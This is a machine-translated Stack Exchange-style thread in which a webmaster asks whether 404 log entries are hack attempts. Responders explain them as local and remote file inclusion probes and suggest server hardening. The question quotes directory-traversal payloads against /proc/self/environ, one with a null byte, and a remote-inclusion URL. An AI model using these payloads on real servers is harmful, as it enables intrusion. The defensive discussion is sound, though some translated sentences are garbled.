Soru Bu bir hack girişimidir?


404 günlüklerimin üzerinden baktığımda, her ikisi de bir kez gerçekleşen aşağıdaki iki URL'yi fark ettim:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

ve

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Söz konusu sayfa library.php, gerektiren type Yarım düzine farklı kabul edilebilir değerlere sahip değişken ve daha sonra id değişken. Yani geçerli bir URL olabilir

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

ve tüm kimlikler mysql_real_escape_string veritabanını sorgulamak için kullanılmadan önce.

Ben bir çaylak, ama bu iki linkin de webroot'a karşı basit saldırılar olduğunu mu düşünüyorsun?

1) 404'ün yanı sıra bu tür şeylere karşı en iyi nasıl korunulur?

2) Fikri Mülkiyet (ler) e izin vermeli miyim?

DÜZENLE: ayrıca sadece bunu fark ettim

/library.php=http://www.basfalt.no/scripts/danger.txt

DÜZEN 2: Her 3 saldırı için sorunlu IP oldu 216.97.231.15 Los Angeles'ın hemen dışındaki Lunar Pages adlı bir ISP'ye giden izler.

DÜZENLEME 3: ISP'yi Cuma sabahı yerel saatte aramaya karar verdim ve sorunu telefona her kimseyle verebilirdim. Sonuçları burada 24 saat içinde yayınlayacağım.

4. DÜZENLE: Yöneticilerine e-posta gönderdim ve ilk olarak "baktıklarını" söylediler ve bir gün sonra "bu sorun şimdi çözülmelidir." Daha fazla ayrıntı yok, ne yazık ki.


12
2017-08-27 03:01


Menşei


Adnrew, bu /library.php betiğinin sorgu dizesinden hiçbir şey içermediğini doğru mu anladım? Bu durumda güvende olursun - Col. Shrapnel
library.php kendi sitem tarafından oluşturulan bağlantıları ele alır. type Kullanmaya dahil olan betiği anlatır. IF $_GET['type'] == 'thing') {} ESLE...gibi doğrudan bir bağlantı olarak değil include 'type.php') ve id mysql_real_escape_string üzerinden çalıştırılır ve o sorgular için kullanılır. Bunu bilerek hala güvende miyim?
Birisi tam olarak saldırganın ne bulmaya çalıştığını açıklayabilir mi? Bütün cevapların sorusuyla ilgili kısa bir özet harika olurdu. - bzero


Cevaplar:


0) Evet. En azından, sitenize karşı savunmasız olup olmadığını keşfetmeye çalışan sistematik bir sorundur.

1) Kodunuzun temiz olduğundan emin olmanın dışında, yapabileceğiniz çok şey yoktur, ancak güvenli olduğundan emin olmak için kendi testlerinizi kendi sunucunuzda çalıştırın. Google Skipfish, size yardımcı olacak birçok araçtan biridir.

2) Yapardım.


19
2017-08-27 03:03



ilişkin 0) notasyon: güzel !! Bunu hiç düşünmemiştim.
@polygenelubricants Bahse girerim ki -1) veya 0.5) veya π) veya 2 + 3i) ya da notasyon. : P - Mateen Ulhaq


Bu bir saldırı, çok açıkladı İşte.


7
2017-08-27 03:17





Diğerleri tarafından söylendiği gibi: evet, bu bir hack girişimidir. Bu muhtemelen el yapımı girişime ek olarak, botnet'lerin koştuğu çok sayıda ve otomatik olanın olduğunu unutmayın. Genel olarak bu tür saldırılar, yaşlanmaya karşı eski güvenlik açıkları ve / veya SQL enjeksiyonuna, sisteme veya dosya sızmasına neden olan kullanıcı girdisini veya benzerlerini doğrulamadaki başarısızlık gibi bazı tipik kodlama kusurlarını gizlemeye çalışır.

Bu botnet'leri el ile yasaklamak büyük olasılıkla mümkün değildir, çünkü botnet'ler binlerce IP adresine kadar kullanabilmektedir, bu yüzden onları yasaklamak istiyorsanız bir çeşit otomatik ban programı kullanmanız gerekecektir. fail2ban aklıma geliyor; mod_security olaylarına veya diğer bazı günlük girişlerine tepki vermesini sağlayın.

Kodunuz temiz ve sunucu sertleştirilmiş ise, bu hack girişimleri sadece can sıkıcı bir günlük kirliliği vardır. Ancak, ihtiyati tedbirleri almak ve ihtiyaçlarınıza bağlı olarak aşağıdakilerin bir kısmını veya tamamını değerlendirmek daha iyidir:

  • mod_security Her türlü tipik bilgisayar korsanlığı girişimini filtreleyen bir Apache modülüdür. Ayrıca, şüpheli JavaScript vb. Görürse, giden trafiği (sunucunuzun bir istemciye göndereceği sayfa) da kısıtlayabilir.

  • Suhosin PHP'nin kendisini sertleştirmek için.

  • PHP betiklerini betiğin sahibi olan bir kullanıcı olarak çalıştır; gibi şeyler suPhp ve php-fpm bunu mümkün kılar.

  • Webroot ve PHP geçici dizininizi noexec, nosuid nodev.

  • Gibi gereksiz PHP işlevlerini devre dışı bırak sistem ve Geçiş.

  • Gereksiz PHP modüllerini devre dışı bırakın. Örneğin, IMAP desteğine ihtiyacınız yoksa, etkinleştirmeyin.

  • Sunucunuzu güncel tutun.

  • Gözlerinizi günlüklerde tutun.

  • Yedeklemelerin olduğundan emin olun.

  • Birisi sizi yahut başka bir felakete çarptığında ne yapacağınızı planlayın.

Bu iyi bir başlangıç. Sonra, daha da fazla aşırı önlem var. homurdanma ve başlangıçAncak, çoğu kurulum için çok aşırı olabilirler.


7
2017-08-27 07:26





Bu sorguları yapan makinenin botnet zombi olması tamamen olası. Bu istekleri birden çok IP'den alıyorsanız, muhtemelen onları yasaklamaya değmez, çünkü etkili olması için internetin yarısını yasaklamanız gerekir.


3
2017-08-27 03:11





Daha önce de söylediğim gibi - daha fazla bilgi almak için / proc / self / environ dosyasına erişme girişimidir.

Ben bir linux makinesi olduğunu varsayalım:

Kullanmalısın

Saldırı sunucusunun ipini engelleyebilirsiniz, ancak bu özellikte saldırıya açık olamayacağını düşünmelisiniz.

Sunucum saldırıya uğradığında bazı hizmetleri engelledim: http / https / pop / imap / ssh ama smtp'yi açık bırakın, bir hata yaparsanız bildirimde bulunabilirsiniz.


1
2017-08-27 06:39



Güvenliğinizi değiştirmeden önce neden başarısız bir saldırı gerçekleşene kadar bekleyiniz? Saldırıyı bildiğiniz zaman neden bir şey yapmıyorsunuz? Evet, OP gürültü ve boşa harcanan bant genişliğini azaltmak için bazı geçici düzeltmeleri göz önünde bulundurabilir - ancak, ele almadığınız önerileri uygulamakla ilgili çıkarımlar var. - symcbean
Her zaman imalar vardır. Olduğu gibi bırakın ve saldırıya uğramış olabilirsiniz. Sunucunuzu güvenli hale getirin ve güvenlik programlarının neden olduğu sorunlarla yüzleşin. Ama neyse - güvenlik, web erişilebilir bir sistemde önemli bir endişe! - Andreas Rehm


Evet, bir saldırı girişimi. IP'ye kesinlikle bir yasak koymalısınız. IP'nin ülke dışında olduğunu belirlerseniz, yalnızca ait olduğu tüm alt ağları yasaklamak isteyebilirsiniz. Bu, bir sunucu sorunu olduğundan daha az bir kod sorunudur. Bu özel saldırıya bakın ve barındırma sağlayıcınızın buna ya da benzer betik kiddie girişimlerine karşı korunmasız olduğundan emin olun (bu, neye benzediğini gösterir).


0
2017-08-27 03:15





Bu potansiyelden yararlanma girişimi keyfi yerel dosya ekleme Web sunucusu üzerinden erişilebilir sunucu tarafı komut dosyalarındaki güvenlik açığı. Savunmasız bir linux sisteminde /proc/self/environ rasgele kod sunucu tarafı yürütmek için kötüye kullanılabilir.


0
2017-08-27 13:06





Janne Pikkarainen tarafından tavsiye edilen:

Gözlerinizi günlüklerde tutun.

Yedeklemelerin olduğundan emin olun.

Bu günlüklerin bir parçası olarak, siteniz dahil olmak üzere dosyalarınızdaki herhangi bir değişikliğin saldırı tespit sisteminin bir parçası olarak izlenmesi önemlidir. Bir örnek, yapılandırma dosyaları için varsayılan olarak bunu yapan OpenBSD'dir. Bunu getiriyorum çünkü:

  • Bulut Siteleri için, özel olarak oluşturulmuş bir web sitesinde PHP dosyalarında ince değişiklikler yapıldı (bu sadece standart olmayan bir etiket çıktı, ancak istismarın büyüklüğünü ölçmek için bir testin bir parçasıydı).
  • Bir iş arkadaşında, WordPress .htaccess dosyasında (yalnızca Google arama sonuçlarından yönlendirenler) ince yönlendirmeler vardı.
  • Başka bir çalışan için Joomla config dosyasında ince değişiklikler vardı (ne olduğunu hatırlayamıyorum, bence belirli koşullar altında bir yönlendirme olduğunu düşünüyorum).

0
2017-09-02 07:44